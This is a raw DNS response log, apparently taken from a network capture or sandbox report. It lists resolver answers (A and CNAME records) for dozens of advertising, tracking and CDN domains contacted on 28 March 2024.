Mar 28, 2024 09:51:22.373142004 CET	1.1.1.1	192.168.2.4	0x5fa	No error (0)	geo.privacymanager.io		13.32.151.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.373219013 CET	1.1.1.1	192.168.2.4	0xd056	No error (0)	secure.cdn.fastclick.net	secure2.cdn.fastclick.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.373812914 CET	1.1.1.1	192.168.2.4	0xd31c	No error (0)	cdn.id5-sync.com		172.67.38.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.373812914 CET	1.1.1.1	192.168.2.4	0xd31c	No error (0)	cdn.id5-sync.com		104.22.53.86	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.373812914 CET	1.1.1.1	192.168.2.4	0xd31c	No error (0)	cdn.id5-sync.com		104.22.52.86	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.374670982 CET	1.1.1.1	192.168.2.4	0xf110	No error (0)	cdn.id5-sync.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:22.374721050 CET	1.1.1.1	192.168.2.4	0x3984	No error (0)	cstatic.weborama.fr	wpc.1F34.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.374721050 CET	1.1.1.1	192.168.2.4	0x3984	No error (0)	wpc.1F34.edgecastcdn.net	fp2e18.wpc.1f34.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.374721050 CET	1.1.1.1	192.168.2.4	0x3984	No error (0)	fp2e18.wpc.1f34.deltacdn.net	fp2e18.wpc.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.374721050 CET	1.1.1.1	192.168.2.4	0x3984	No error (0)	fp2e18.wpc.deltacdn.net		152.199.6.140	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.375171900 CET	1.1.1.1	192.168.2.4	0xab31	No error (0)	cdn.digitrend.it		51.75.130.31	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.375626087 CET	1.1.1.1	192.168.2.4	0xf1cb	No error (0)	at.teads.tv	at.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.376348972 CET	1.1.1.1	192.168.2.4	0x674f	No error (0)	cstatic.weborama.fr	wpc.1F34.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.376348972 CET	1.1.1.1	192.168.2.4	0x674f	No error (0)	wpc.1F34.edgecastcdn.net	fp2e18.wpc.1f34.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.376348972 CET	1.1.1.1	192.168.2.4	0x674f	No error (0)	fp2e18.wpc.1f34.deltacdn.net	fp2e18.wpc.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.377948999 CET	1.1.1.1	192.168.2.4	0xe9e3	No error (0)	at.teads.tv	at.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.620603085 CET	1.1.1.1	192.168.2.4	0xcc1e	No error (0)	pixel.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.620603085 CET	1.1.1.1	192.168.2.4	0xcc1e	No error (0)	pixel-origin.mathtag.com		74.121.140.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.620603085 CET	1.1.1.1	192.168.2.4	0xcc1e	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.620603085 CET	1.1.1.1	192.168.2.4	0xcc1e	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.620749950 CET	1.1.1.1	192.168.2.4	0x1a27	No error (0)	trz.neodatagroup.com		20.101.38.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.621120930 CET	1.1.1.1	192.168.2.4	0xabf4	No error (0)	pixel.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.823714972 CET	1.1.1.1	192.168.2.4	0xf0a0	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.823714972 CET	1.1.1.1	192.168.2.4	0xf0a0	No error (0)	securepubads46.g.doubleclick.net		142.251.163.154	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.823714972 CET	1.1.1.1	192.168.2.4	0xf0a0	No error (0)	securepubads46.g.doubleclick.net		142.251.163.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.824691057 CET	1.1.1.1	192.168.2.4	0xcd3d	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.981127024 CET	1.1.1.1	192.168.2.4	0x640b	No error (0)	www.digistream.it		192.0.66.91	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.868010998 CET	1.1.1.1	192.168.2.4	0xc71a	No error (0)	cm.g.doubleclick.net		142.250.31.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.868010998 CET	1.1.1.1	192.168.2.4	0xc71a	No error (0)	cm.g.doubleclick.net		142.250.31.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.871136904 CET	1.1.1.1	192.168.2.4	0x866	No error (0)	cdn.ravenjs.com		151.101.130.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.871136904 CET	1.1.1.1	192.168.2.4	0x866	No error (0)	cdn.ravenjs.com		151.101.66.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.871136904 CET	1.1.1.1	192.168.2.4	0x866	No error (0)	cdn.ravenjs.com		151.101.2.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.871136904 CET	1.1.1.1	192.168.2.4	0x866	No error (0)	cdn.ravenjs.com		151.101.194.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.877746105 CET	1.1.1.1	192.168.2.4	0x71d3	No error (0)	pagead-googlehosted.l.google.com		172.253.115.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.878865004 CET	1.1.1.1	192.168.2.4	0x9e0d	No error (0)	polyfill.io	polyfill.io.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:23.879956961 CET	1.1.1.1	192.168.2.4	0x33d7	No error (0)	polyfill.io	polyfill.io.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:23.883311987 CET	1.1.1.1	192.168.2.4	0xc88b	No error (0)	monetize-static.viralize.tv	monetize-static.viralize.tv.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:23.884223938 CET	1.1.1.1	192.168.2.4	0x1d93	No error (0)	monetize-static.viralize.tv	monetize-static.viralize.tv.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:23.887640953 CET	1.1.1.1	192.168.2.4	0x9ae5	No error (0)	csync-global.smartadserver.com	csync-global.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:23.888520956 CET	1.1.1.1	192.168.2.4	0x9fde	No error (0)	csync-global.smartadserver.com	csync-global.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:23.930964947 CET	1.1.1.1	192.168.2.4	0x6559	No error (0)	stats.g.doubleclick.net		142.251.167.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.930964947 CET	1.1.1.1	192.168.2.4	0x6559	No error (0)	stats.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.930964947 CET	1.1.1.1	192.168.2.4	0x6559	No error (0)	stats.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:23.930964947 CET	1.1.1.1	192.168.2.4	0x6559	No error (0)	stats.g.doubleclick.net		142.251.167.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.082966089 CET	1.1.1.1	192.168.2.4	0x76c9	No error (0)	www.google.com		172.253.122.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.082966089 CET	1.1.1.1	192.168.2.4	0x76c9	No error (0)	www.google.com		172.253.122.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.082966089 CET	1.1.1.1	192.168.2.4	0x76c9	No error (0)	www.google.com		172.253.122.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.082966089 CET	1.1.1.1	192.168.2.4	0x76c9	No error (0)	www.google.com		172.253.122.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.082966089 CET	1.1.1.1	192.168.2.4	0x76c9	No error (0)	www.google.com		172.253.122.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.082966089 CET	1.1.1.1	192.168.2.4	0x76c9	No error (0)	www.google.com		172.253.122.104	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.083035946 CET	1.1.1.1	192.168.2.4	0x365d	No error (0)	services.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.083035946 CET	1.1.1.1	192.168.2.4	0x365d	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.083682060 CET	1.1.1.1	192.168.2.4	0x29d5	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:24.084713936 CET	1.1.1.1	192.168.2.4	0xcf95	No error (0)	s.richaudience.com		208.115.237.110	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	track.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	cec01.usg.sunmedia.edgetcdn.net		138.199.8.195	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	cec01.usg.sunmedia.edgetcdn.net		54.38.37.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.161.15.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	cec01.usg.sunmedia.edgetcdn.net		212.102.45.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.81.154.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.085707903 CET	1.1.1.1	192.168.2.4	0xebb5	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	services.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.81.154.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.161.15.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	cec01.usg.sunmedia.edgetcdn.net		212.102.45.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	cec01.usg.sunmedia.edgetcdn.net		138.199.8.195	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	cec01.usg.sunmedia.edgetcdn.net		54.38.37.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086128950 CET	1.1.1.1	192.168.2.4	0x16aa	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086273909 CET	1.1.1.1	192.168.2.4	0x6be1	No error (0)	track.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086273909 CET	1.1.1.1	192.168.2.4	0x6be1	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086417913 CET	1.1.1.1	192.168.2.4	0xfc0a	No error (0)	audience.codesour.tech		35.190.43.167	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086719990 CET	1.1.1.1	192.168.2.4	0x3bee	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086730957 CET	1.1.1.1	192.168.2.4	0xfa02	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.086730957 CET	1.1.1.1	192.168.2.4	0xfa02	No error (0)	d1ykf07e75w7ss.cloudfront.net		3.162.128.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.087981939 CET	1.1.1.1	192.168.2.4	0xfcbe	No error (0)	pub.admanmedia.com		8.2.110.31	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.087981939 CET	1.1.1.1	192.168.2.4	0xfcbe	No error (0)	pub.admanmedia.com		8.2.110.27	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api.omnitagjs.com	hb-api-us-west-2.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		52.41.55.190	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		34.223.242.45	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		34.218.29.138	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		52.34.209.244	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		35.164.87.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		35.167.5.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		52.40.91.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088109970 CET	1.1.1.1	192.168.2.4	0x2b16	No error (0)	hb-api-us-west-2.omnitagjs.com		52.33.246.226	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.088618040 CET	1.1.1.1	192.168.2.4	0x9ec2	No error (0)	hb-api.omnitagjs.com	hb-api-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.094819069 CET	1.1.1.1	192.168.2.4	0xc45b	No error (0)	cdn.codesour.com	1910864371.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.094819069 CET	1.1.1.1	192.168.2.4	0xc45b	No error (0)	1910864371.rsc.cdn77.org		37.19.206.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.097861052 CET	1.1.1.1	192.168.2.4	0x3b6c	No error (0)	shb.richaudience.com		208.115.237.110	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	prg.smartadserver.com	prga.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	prga.smartadserver.com	hb-geo.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	use2.smartadserver.com		147.135.119.115	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	use2.smartadserver.com		135.148.2.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	use2.smartadserver.com		147.135.94.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	use2.smartadserver.com		147.135.94.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	use2.smartadserver.com		147.135.119.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.098889112 CET	1.1.1.1	192.168.2.4	0xc37c	No error (0)	use2.smartadserver.com		135.148.2.48	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.099608898 CET	1.1.1.1	192.168.2.4	0xdba5	No error (0)	prg.smartadserver.com	prga.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.099608898 CET	1.1.1.1	192.168.2.4	0xdba5	No error (0)	prga.smartadserver.com	hb-geo.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.100241899 CET	1.1.1.1	192.168.2.4	0xe1a6	No error (0)	btlr.sharethrough.com	btlr-us-east-1.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.100241899 CET	1.1.1.1	192.168.2.4	0xe1a6	No error (0)	btlr-us-east-1.sharethrough.com		34.235.214.237	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.100390911 CET	1.1.1.1	192.168.2.4	0x866f	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.100390911 CET	1.1.1.1	192.168.2.4	0x866f	No error (0)	dc13-prebid.a-mx.net		147.28.129.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.100390911 CET	1.1.1.1	192.168.2.4	0x866f	No error (0)	dc13-prebid.a-mx.net		147.28.129.140	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.100390911 CET	1.1.1.1	192.168.2.4	0x866f	No error (0)	dc13-prebid.a-mx.net		147.28.146.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.100624084 CET	1.1.1.1	192.168.2.4	0x5c58	No error (0)	btlr.sharethrough.com	btlr-us-east-1.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101103067 CET	1.1.1.1	192.168.2.4	0xc71e	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101103067 CET	1.1.1.1	192.168.2.4	0xc71e	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101522923 CET	1.1.1.1	192.168.2.4	0x1c1	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	nava.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.198.227.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.226.228.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.198.232.242	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.205.53.165	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.89.75.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.233.166.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.200.35.219	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.101999044 CET	1.1.1.1	192.168.2.4	0x9742	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.202.223.187	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.102256060 CET	1.1.1.1	192.168.2.4	0x7c6f	No error (0)	prebid.a-mo.net	ny5-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.102412939 CET	1.1.1.1	192.168.2.4	0xf30e	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.102412939 CET	1.1.1.1	192.168.2.4	0xf30e	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.102412939 CET	1.1.1.1	192.168.2.4	0xf30e	No error (0)	nava.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.103535891 CET	1.1.1.1	192.168.2.4	0xc04d	No error (0)	onetag-sys.com		51.222.39.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.103535891 CET	1.1.1.1	192.168.2.4	0xc04d	No error (0)	onetag-sys.com		51.222.39.185	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.103535891 CET	1.1.1.1	192.168.2.4	0xc04d	No error (0)	onetag-sys.com		51.222.239.232	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.103535891 CET	1.1.1.1	192.168.2.4	0xc04d	No error (0)	onetag-sys.com		51.222.39.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.103535891 CET	1.1.1.1	192.168.2.4	0xc04d	No error (0)	onetag-sys.com		51.222.239.230	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.103535891 CET	1.1.1.1	192.168.2.4	0xc04d	No error (0)	onetag-sys.com		51.222.39.187	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.104933023 CET	1.1.1.1	192.168.2.4	0x6c66	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.111882925 CET	1.1.1.1	192.168.2.4	0xbbc3	No error (0)	cdn.pbstck.com		172.67.25.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.111882925 CET	1.1.1.1	192.168.2.4	0xbbc3	No error (0)	cdn.pbstck.com		104.22.0.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.111882925 CET	1.1.1.1	192.168.2.4	0xbbc3	No error (0)	cdn.pbstck.com		104.22.1.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.125565052 CET	1.1.1.1	192.168.2.4	0x675f	No error (0)	prebid.adnxs.com	prebid.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.125565052 CET	1.1.1.1	192.168.2.4	0x675f	No error (0)	prebid.appnexusgslb.net		68.67.153.61	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.158487082 CET	1.1.1.1	192.168.2.4	0xb176	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.158487082 CET	1.1.1.1	192.168.2.4	0xb176	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.158487082 CET	1.1.1.1	192.168.2.4	0xb176	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
